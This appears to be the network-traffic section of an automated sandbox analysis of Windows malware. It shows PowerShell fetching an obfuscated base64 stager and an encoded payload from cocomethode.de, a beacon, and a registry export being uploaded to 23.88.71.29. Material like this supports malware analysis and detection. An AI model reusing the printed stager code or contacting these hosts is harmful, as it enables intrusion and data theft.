32 Data Raw: 32 39 62 37 61 38 66 38 64 39 39 36 37 63 61 34 63 33 31 36 36 32 36 39 61 61 34 64 65 37 35 37 Data Ascii: 29b7a8f8d9967ca4c3166269aa4de757

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49767	23.88.71.29	8000	6808	C:\Windows\Temp\myRdpService.exe

Timestamp	Bytes transferred	Direction	Data
Dec 11, 2024 13:00:08.220797062 CET	1289	OUT	POST /api/registry/upload/29b7a8f8d9967ca4c3166269aa4de757 HTTP/1.1 Host: 23.88.71.29:8000 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=---------------------8dd19b171f02e48 Content-Length: 5689 Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 64 31 39 62 31 37 31 66 30 32 65 34 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 72 65 67 42 61 63 6b 75 70 2e 72 65 67 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a ff fe 57 00 69 00 6e 00 64 00 6f 00 77 00 73 00 20 00 52 00 65 00 67 00 69 00 73 00 74 00 72 00 79 00 20 00 45 00 64 00 69 00 74 00 6f 00 72 00 20 00 56 00 65 00 72 00 73 00 69 00 6f 00 6e 00 20 00 35 00 2e 00 30 00 30 00 0d 00 0a 00 0d 00 0a 00 5b 00 48 00 4b 00 45 00 59 00 5f 00 4c 00 4f 00 43 00 41 00 4c 00 5f 00 4d 00 41 00 43 00 48 00 49 00 4e 00 45 00 5c 00 53 00 59 00 53 00 54 00 45 00 4d 00 5c 00 43 00 75 00 72 00 72 00 65 00 6e 00 74 00 43 00 6f 00 6e 00 74 00 72 00 6f 00 6c 00 53 00 65 00 74 00 5c 00 53 00 65 00 72 00 76 00 69 00 63 00 65 [TRUNCATED] Data Ascii: -----------------------8dd19b171f02e48Content-Disposition: form-data; name="file"; filename="regBackup.reg"Content-Type: application/octet-streamWindows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService]"DependOnService"=hex(7):52,00,50,00,43,00,53,00,53,00,00,00,00,00"Description"="@%SystemRoot%\\System32\\termsrv.dll,-267""DisplayName"="@%SystemRoot%\\System32\\termsrv.dll,-268""ErrorControl"=dword:00000001"FailureActions"=hex:80,51,01,00,00,00,00,00,00,00,00,00,03,00,00,00,14,00,00,\ 00,01,00,00,00,60,ea, [TRUNCATED]
Dec 11, 2024 13:00:08.648593903 CET	850	IN	HTTP/1.1 200 OK Content-Type: text/plain; charset=utf-8 Server: Microsoft-IIS/8.5 CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=OebfcJQHa5MQc9VhljVYpEkCc%2BCLK0ITMu%2Bb%2FTEBF7tf1SWqdEutBdZSNZ%2FbHf%2BMa3o7APjYeeTwmHrQfmE%2BY0Fl1P%2B5vPfiwQAM8PwI3QZXn%2BokXXU7eHV9QQu5bKUtfFp%2FYTGeQENo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} CF-RAY: 8f0550041e15dbeb-FRA alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=5425&min_rtt=5418&rtt_var=2039&sent=10&recv=11&lost=0&retrans=0&sent_bytes=816&recv_bytes=6478&delivery_rate=536370&cwnd=251&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Date: Wed, 11 Dec 2024 12:00:07 GMT Content-Length: 41 Data Raw: 46 69 6c 65 20 72 65 67 42 61 63 6b 75 70 2e 72 65 67 20 75 70 6c 6f 61 64 65 64 20 73 75 63 63 65 73 73 66 75 6c 6c 79 2e Data Ascii: File regBackup.reg uploaded successfully.

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49739	104.21.1.51	443	6736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:14 UTC	165	OUT	GET /fbJ5ex HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Connection: Keep-Alive
2024-12-11 11:58:15 UTC	1224	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:15 GMT Content-Type: application/octet-stream Content-Length: 6401 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2PkbvVB8b7J9tNphG6rLeB1X%2Bph5qymv%2FlO8q%2BG9%2FS40cuLR5%2F7WHwSzIp8OyPWbmgUFlNm45dMNhuBCxY1ZeehBwOFVzYNakruN%2BH%2F7wjeT2xT%2BnoVSQnYpb6Z%2BAZ72qogIeUXCNDKQ"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=49512&min_rtt=1212&rtt_var=10046&sent=113&recv=123&lost=0&retrans=0&sent_bytes=31820&recv_bytes=65688&delivery_rate=2364372&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d3ddf44afec-ATL server-timing: cfL4;desc="?proto=TCP&rtt=107&min_rtt=107&rtt_var=53&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=441&delivery_rate=0&cwnd=175&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=51&min_rtt=51&rtt_var=25&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=428&delivery_rate=0&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:15 UTC	810	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 34 31 26 6d 69 6e 5f 72 74 74 3d 34 31 26 72 74 74 5f 76 61 72 3d 32 30 26 73 65 6e 74 3d 31 26 72 65 63 76 3d 33 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 72 65 63 76 5f 62 79 74 65 73 3d 34 31 35 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 30 26 63 77 6e 64 3d 32 32 38 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 30 26 74 73 3d 30 26 78 3d 30 22 0d 0a 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 36 30 26 6d 69 6e 5f 72 74 74 3d 36 30 26 72 74 74 Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=41&min_rtt=41&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=415&delivery_rate=0&cwnd=228&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"server-timing: cfL4;desc="?proto=TCP&rtt=60&min_rtt=60&rtt
2024-12-11 11:58:15 UTC	704	IN	Data Raw: 24 77 65 73 6c 72 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 52 6e 64 61 56 56 4a 6f 5a 45 64 47 56 47 52 49 53 6e 42 69 62 57 4e 76 53 30 56 6b 62 47 52 44 4d 56 68 69 56 32 78 51 57 57 31 77 62 46 6b 7a 55 57 64 4d 56 54 56 6f 59 6c 64 57 65 6d 4e 48 52 6d 70 61 55 30 46 70 59 32 30 35 64 6d 52 47 65 46 52 61 56 30 34 78 59 32 31 73 4d 47 56 56 54 6d 78 69 62 6c 4a 73 59 32 70 4a 61 55 6c 44 4d 56 4a 6b 56 31 5a 35 5a 56 4e 42 61 56 55 77 56 6b 31 53 56 55 35 56 53 55 4e 76 5a 31 4a 73 53 6c 42 55 55 30 4a 43 59 6d 35 53 63 47 52 74 62 48 6c 6b 57 45 35 52 59 32 30 35 Data Ascii: $weslr=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("RndaVVJoZEdGVGRISnBibWNvS0VkbGRDMVhiV2xQWW1wbFkzUWdMVTVoYldWemNHRmpaU0FpY205dmRGeFRaV04xY21sMGVVTmxiblJsY2pJaUlDMVJkV1Z5ZVNBaVUwVk1SVU5VSUNvZ1JsSlBUU0JCYm5ScGRtbHlkWE5RY205
2024-12-11 11:58:15 UTC	1369	IN	Data Raw: 46 51 79 53 6e 46 61 56 30 34 77 53 55 4d 78 55 57 4e 74 4f 58 64 61 57 45 6f 77 5a 56 4e 43 52 46 6c 59 51 6d 68 5a 4d 6d 77 77 5a 56 4e 42 64 46 55 7a 56 6e 52 4c 55 7a 56 55 5a 46 63 77 5a 30 78 35 51 58 68 53 4d 45 6b 33 52 46 46 76 61 31 6c 35 51 54 6c 4a 52 6e 52 47 59 6d 35 61 63 47 4e 74 4f 58 56 69 56 31 5a 31 5a 45 59 77 4e 6b 39 73 51 6e 6c 69 4d 6b 35 73 59 7a 4e 4f 64 6d 4e 72 54 6e 5a 6b 56 7a 55 77 54 33 63 77 53 30 70 48 55 57 64 51 55 30 46 76 55 6a 4a 57 4d 45 78 57 51 6e 6c 69 4d 6b 35 73 59 7a 4e 4e 5a 32 5a 44 51 6b 35 61 56 30 5a 36 5a 46 68 4b 62 45 78 56 4f 57 6c 68 62 56 5a 71 5a 45 4e 72 64 56 45 79 4f 54 46 69 62 6c 45 33 52 46 46 76 61 31 70 54 51 54 6c 4a 52 6e 52 55 5a 56 68 4f 4d 46 70 58 4d 48 56 57 57 45 70 77 57 46 52 76 Data Ascii: FQySnFaV04wSUMxUWNtOXdaWEowZVNCRFlYQmhZMmwwZVNBdFUzVnRLUzVUZFcwZ0x5QXhSMEk3RFFva1l5QTlJRnRGYm5acGNtOXViV1Z1ZEYwNk9sQnliMk5sYzNOdmNrTnZkVzUwT3cwS0pHUWdQU0FvUjJWMExWQnliMk5sYzNNZ2ZDQk5aV0Z6ZFhKbExVOWlhbVZqZENrdVEyOTFiblE3RFFva1pTQTlJRnRUZVhOMFpXMHVWWEpwWFRv
2024-12-11 11:58:15 UTC	1369	IN	Data Raw: 59 31 56 33 6c 53 63 46 68 54 51 58 52 5a 62 6d 68 32 59 32 6c 42 65 45 6c 42 4d 45 74 6d 55 54 42 4c 55 31 63 31 4d 6d 49 79 64 47 78 4d 56 56 59 30 59 30 68 4b 62 47 4d 7a 54 6e 42 69 4d 6a 52 6e 53 30 5a 30 56 47 56 59 54 6a 42 61 56 7a 42 31 56 6b 64 57 4e 47 52 44 4e 55 5a 69 62 55 35 32 57 6b 64 73 64 56 6f 78 4d 44 5a 50 62 46 5a 56 55 6d 70 6e 64 56 49 79 56 6a 42 56 4d 31 4a 35 59 56 63 31 62 6b 74 44 55 6d 6c 6c 57 46 4a 73 55 56 68 4b 65 56 6c 59 61 33 42 4c 55 54 42 4c 22 29 29 3b 0a 24 62 63 73 62 6e 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 53 6b 64 46 5a Data Ascii: Y1V3lScFhTQXRZbmh2Y2lBeElBMEtmUTBLU1c1MmIydGxMVVY0Y0hKbGMzTnBiMjRnS0Z0VGVYTjBaVzB1VkdWNGRDNUZibU52WkdsdVoxMDZPbFZVUmpndVIyVjBVM1J5YVc1bktDUmllWFJsUVhKeVlYa3BLUTBL"));$bcsbn=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("SkdFZ
2024-12-11 11:58:15 UTC	1369	IN	Data Raw: 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 64 48 64 51 63 6d 39 32 61 57 52 6c 63 67 3d 3d 22 29 29 3b 0a 24 6a 65 65 6f 63 6c 65 67 63 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 5a 51 3d 3d 22 29 29 3b 0a 24 68 67 61 63 6b 6b 71 66 72 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d Data Ascii: t.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("dHdQcm92aWRlcg=="));$jeeoclegc=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("ZQ=="));$hgackkqfr=[System.Text.Encoding]::ASCII.GetString([System.Convert]::From
2024-12-11 11:58:15 UTC	163	IN	Data Raw: 56 69 62 47 6c 6a 4c 46 4e 30 59 58 52 70 59 77 3d 3d 22 29 29 3b 0a 24 63 7a 65 79 6d 72 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 54 6d 39 75 22 29 29 3b 0a 24 77 79 6d 67 72 65 78 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e Data Ascii: VibGljLFN0YXRpYw=="));$czeymr=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("Tm9u"));$wymgrex=[System.Text.Encoding]::ASCII.GetStrin
2024-12-11 11:58:15 UTC	1369	IN	Data Raw: 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 63 32 6c 4a 62 6d 6c 30 52 6d 46 70 62 47 56 6b 22 29 29 3b 0a 24 6b 62 74 65 77 6f 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 59 57 30 3d 22 29 29 3b 0a 24 77 68 72 66 6f 3d 5b 53 79 73 74 65 6d 2e 54 65 78 74 2e 45 6e 63 6f 64 69 6e 67 5d 3a 3a 41 53 43 49 49 2e 47 65 74 53 74 72 69 6e 67 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 22 62 57 56 75 64 43 35 42 64 58 52 76 62 57 46 30 61 57 39 75 Data Ascii: g([System.Convert]::FromBase64String("c2lJbml0RmFpbGVk"));$kbtewo=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("YW0="));$whrfo=[System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String("bWVudC5BdXRvbWF0aW9u
2024-12-11 11:58:15 UTC	58	IN	Data Raw: 28 5b 53 79 73 74 65 6d 2e 43 6f 6e 76 65 72 74 5d 3a 3a 46 72 6f 6d 42 61 73 65 36 34 53 74 72 69 6e 67 28 28 24 62 63 73 62 6e 20 2b 20 24 77 65 73 6c 72 29 29 29 29 3b 0a Data Ascii: ([System.Convert]::FromBase64String(($bcsbn + $weslr))));

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49740	104.21.1.51	443	6736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:16 UTC	369	OUT	GET /file3/d9dfe974fbbd6a01f97629760ed0554b2f05b97cf7aaa7b915fbc8058e9200929c82f11dfb2e9390f9dd7644a9aec526961529f07ac36dcfaa45d1951cf1541beba58f14d842eb2818c592de7ef7788a4bc3b6e43f0cf50f892301271a3b379a/Windows%20Defender/16/16/user/190 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de
2024-12-11 11:58:17 UTC	1289	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:17 GMT Content-Type: application/octet-stream Content-Length: 2856 Connection: close content-disposition: attachment; filename=image; filename*=UTF-8''image CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ly7bB7m69SWhaFzWATUv6M%2BDiS42sn4%2Fes3YodqwM5zIItvofMQr3NzRLLg0fGqqeGQMDo4y%2FnnkwGA%2BE71KfnBgHm3SrpRk0ASki1%2BDxRIfEQev%2FcXlFXftMExIke7050RFMuIoMPrO"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=29646&min_rtt=1212&rtt_var=13561&sent=119&recv=128&lost=0&retrans=0&sent_bytes=39033&recv_bytes=66715&delivery_rate=4793171&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d4d4b6c53f2-ATL server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=631&delivery_rate=0&cwnd=249&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=40&min_rtt=40&rtt_var=20&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=624&delivery_rate=0&cwnd=121&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
2024-12-11 11:58:17 UTC	220	IN	Data Raw: 73 65 72 76 65 72 2d 74 69 6d 69 6e 67 3a 20 63 66 4c 34 3b 64 65 73 63 3d 22 3f 70 72 6f 74 6f 3d 54 43 50 26 72 74 74 3d 31 31 33 39 34 30 26 6d 69 6e 5f 72 74 74 3d 31 31 33 39 30 38 26 72 74 74 5f 76 61 72 3d 32 34 30 38 31 26 73 65 6e 74 3d 36 26 72 65 63 76 3d 38 26 6c 6f 73 74 3d 30 26 72 65 74 72 61 6e 73 3d 30 26 73 65 6e 74 5f 62 79 74 65 73 3d 32 38 33 36 26 72 65 63 76 5f 62 79 74 65 73 3d 31 30 30 37 26 64 65 6c 69 76 65 72 79 5f 72 61 74 65 3d 33 33 35 39 35 26 63 77 6e 64 3d 32 35 32 26 75 6e 73 65 6e 74 5f 62 79 74 65 73 3d 30 26 63 69 64 3d 66 39 64 35 65 30 33 61 63 33 32 35 35 63 33 61 26 74 73 3d 38 35 34 26 78 3d 30 22 0d 0a 0d 0a Data Ascii: server-timing: cfL4;desc="?proto=TCP&rtt=113940&min_rtt=113908&rtt_var=24081&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1007&delivery_rate=33595&cwnd=252&unsent_bytes=0&cid=f9d5e03ac3255c3a&ts=854&x=0"
2024-12-11 11:58:17 UTC	1229	IN	Data Raw: 25 74 68 6e 66 67 3c 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 23 63 54 5b 7b 5b 47 65 57 5b 30 43 55 50 56 6d 5b 56 44 4b 32 58 6a 65 72 60 6d 6d 58 54 6f 43 68 4c 6b 53 33 58 56 34 4e 65 6c 4b 71 52 55 65 44 54 56 38 4e 50 33 6d 43 5b 31 6d 45 50 56 75 69 53 30 5b 6e 56 6a 65 56 64 56 4c 79 62 33 75 69 4c 6d 58 30 56 47 4f 43 4e 54 6d 45 54 6b 4b 5b 57 32 66 79 56 6d 53 7b 55 6a 4f 71 50 56 65 4b 50 31 47 73 5b 47 69 4a 62 44 6d 44 4c 46 65 4b 63 56 66 76 5b 44 69 42 64 6a 38 71 4e 49 5b 5b 4c 6b 6d 70 58 6b 48 79 63 46 53 49 60 49 5b 60 53 30 57 30 56 6a 65 57 65 6a 34 70 Data Ascii: %thnfg<ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof)#cT[{[GeW[0CUPVm[VDK2Xjer`mmXToChLkS3XV4NelKqRUeDTV8NP3mC[1mEPVuiS0[nVjeVdVLyb3uiLmX0VGOCNTmETkK[W2fyVmS{UjOqPVeKP1Gs[GiJbDmDLFeKcVfv[DiBdj8qNI[[LkmpXkHycFSI`I[`S0W0VjeWej4p
2024-12-11 11:58:17 UTC	1369	IN	Data Raw: 71 57 53 6f 6d 6b 63 54 58 30 57 32 6d 52 62 47 69 55 50 55 6d 4b 50 30 4b 71 5b 57 69 52 63 47 47 58 52 6f 6d 5b 56 46 79 68 52 6a 65 72 5b 44 6d 45 4c 56 6d 6d 53 7b 6d 34 52 54 53 47 4f 31 6d 48 4c 44 34 45 5b 33 75 4a 54 30 62 30 4c 6c 48 78 65 46 79 4c 57 57 58 31 58 31 69 4a 63 46 4c 7b 55 6f 43 68 4c 6b 53 6f 52 31 5b 31 57 46 57 58 55 6b 43 60 57 7b 43 30 57 6a 65 56 4f 46 53 45 4f 54 5b 68 63 54 34 33 56 6a 65 72 65 57 6e 79 4c 45 5b 51 63 47 5b 57 54 6c 71 6f 65 57 48 78 57 6b 43 57 4c 30 4b 34 58 57 62 30 63 6a 75 45 54 6c 6d 6d 56 47 4b 72 54 57 69 4a 64 57 6d 58 60 32 43 4d 57 49 4f 4e 50 33 65 73 52 6d 6d 74 52 6c 79 5b 57 32 4c 32 53 47 47 77 52 6c 5b 53 4c 44 75 45 57 31 34 6e 5b 44 65 4e 63 31 53 53 63 31 71 6d 65 7b 43 4d 50 30 47 72 57 Data Ascii: qWSomkcTX0W2mRbGiUPUmKP0Kq[WiRcGGXRom[VFyhRjer[DmELVmmS{m4RTSGO1mHLD4E[3uJT0b0LlHxeFyLWWX1X1iJcFL{UoChLkSoR1[1WFWXUkC`W{C0WjeVOFSEOT[hcT43VjereWnyLE[QcG[WTlqoeWHxWkCWL0K4XWb0cjuETlmmVGKrTWiJdWmX`2CMWIONP3esRmmtRly[W2L2SGGwRl[SLDuEW14n[DeNc1SSc1qme{CMP0GrW
2024-12-11 11:58:17 UTC	258	IN	Data Raw: 6a 6d 45 62 7b 6d 4b 50 31 6d 31 55 47 4c 76 65 44 79 55 4c 49 53 4c 54 7b 43 31 52 56 71 7b 55 6a 4f 6f 4c 44 75 4b 50 31 47 6f 52 54 4f 52 63 30 71 59 53 6c 75 60 56 44 71 37 52 54 50 76 5b 30 47 48 65 45 6d 51 65 7b 43 4d 52 54 4f 43 5b 31 6d 45 54 6f 4b 60 56 46 75 6f 54 47 4f 43 60 57 44 78 4e 59 57 6a 53 30 5b 30 5b 44 4c 79 57 56 57 58 50 6c 79 4b 60 6f 4f 4e 50 33 6d 43 5b 31 6d 45 50 56 75 6a 23 28 28 3a 0b 48 6f 77 6e 6a 64 2c 44 79 71 73 64 72 72 68 6e 6f 21 29 5a 52 78 72 75 64 6c 2f 55 64 79 75 2f 44 6f 62 6e 65 68 6f 66 5c 3b 3b 40 52 42 48 48 2f 46 64 75 52 75 73 68 6f 66 29 5a 52 78 72 75 64 6c 2f 42 6e 6f 77 64 73 75 5c 3b 3b 47 73 6e 6c 43 60 72 64 37 35 52 75 73 68 6f 66 29 29 25 77 71 75 6a 65 73 75 21 2a 21 25 74 68 6e 66 67 28 28 28 Data Ascii: jmEb{mKP1m1UGLveDyULISLT{C1RVq{UjOoLDuKP1GoRTORc0qYSlu`VDq7RTPv[0GHeEmQe{CMRTOC[1mEToK`VFuoTGOC`WDxNYWjS0[0[DLyWVWXPlyK`oONP3mC[1mEPVuj#((:Hownjd,Dyqsdrrhno!)ZRxrudl/Udyu/Dobnehof\;;@RBHH/FduRushof)ZRxrudl/Bnowdsu\;;GsnlC`rd75Rushof))%wqujesu!*!%thnfg(((

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49741	104.21.1.51	443	6736	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-11 11:58:18 UTC	285	OUT	POST /609aafcaa17aae4dc51ce49a2e84612a74368b57fc4b8bec450f6e5cff9596bafad2e63e06195adc3d6c7b0625fed05f HTTP/1.1 Content-Type: application/json User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151 Host: cocomethode.de Content-Length: 303
2024-12-11 11:58:18 UTC	303	OUT	Data Raw: 5b 0d 0a 20 20 20 20 22 5c 22 62 65 67 69 6e 20 64 6f 77 6e 6c 6f 61 64 20 68 74 74 70 73 3a 2f 2f 63 6f 63 6f 6d 65 74 68 6f 64 65 2e 64 65 2f 66 69 6c 65 32 2f 61 36 63 36 38 65 64 61 35 65 62 32 66 32 65 32 34 66 36 62 37 31 62 62 37 35 64 64 63 36 64 35 30 37 61 35 66 65 34 36 38 33 31 36 64 64 38 32 37 34 33 32 31 37 34 39 31 63 37 64 65 61 36 38 39 35 34 65 36 32 66 62 30 35 66 32 32 33 34 31 34 36 64 30 32 64 66 66 36 37 61 38 32 35 30 39 35 39 39 62 32 38 33 36 31 37 34 35 34 37 36 32 32 64 30 65 65 38 66 65 32 35 36 61 34 31 31 32 36 34 36 38 65 62 35 62 39 36 35 66 31 37 33 30 65 36 36 32 66 38 66 63 32 31 64 39 33 34 33 34 63 35 31 38 62 63 37 37 30 36 65 31 39 64 36 33 30 37 33 37 33 32 31 34 31 64 36 66 32 31 30 31 36 63 36 37 63 30 33 62 64 Data Ascii: [ "\"begin download https://cocomethode.de/file2/a6c68eda5eb2f2e24f6b71bb75ddc6d507a5fe468316dd82743217491c7dea68954e62fb05f2234146d02dff67a82509599b2836174547622d0ee8fe256a41126468eb5b965f1730e662f8fc21d93434c518bc7706e19d63073732141d6f21016c67c03bd
2024-12-11 11:58:18 UTC	1214	IN	HTTP/1.1 200 OK Date: Wed, 11 Dec 2024 11:58:18 GMT Content-Length: 0 Connection: close CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Rv2OlZdlZBA37EC4zQiaonoyK%2FEYEkQh06WETOvbRGeeWlVoP3s93qjd5BT6%2FisWQSOu44zVT4X9FZJE%2BKERzIKGWs%2BjtefMTtCwN7U7n8VeheS%2BtsDnwcdyAldpoivTrW5j0Hx2BIAm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=46883&min_rtt=1313&rtt_var=19175&sent=13898&recv=5958&lost=0&retrans=8&sent_bytes=19902244&recv_bytes=89906&delivery_rate=47611739&cwnd=243&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" X-Powered-By: ARR/3.0 Server: cloudflare CF-RAY: 8f054d54d87bafbf-ATL server-timing: cfL4;desc="?proto=TCP&rtt=96&min_rtt=60&rtt_var=48&sent=5&recv=7&lost=0&retrans=0&sent_bytes=7435&recv_bytes=1284&delivery_rate=1091383333&cwnd=177&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" server-timing: cfL4;desc="?proto=TCP&rtt=114103&min_rtt=114015&rtt_var=24114&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2835&recv_bytes=1248&delivery_rate=33586&cwnd=252&unsent_bytes=0&cid=40a696ae7578e3c4&ts=591&x=0"

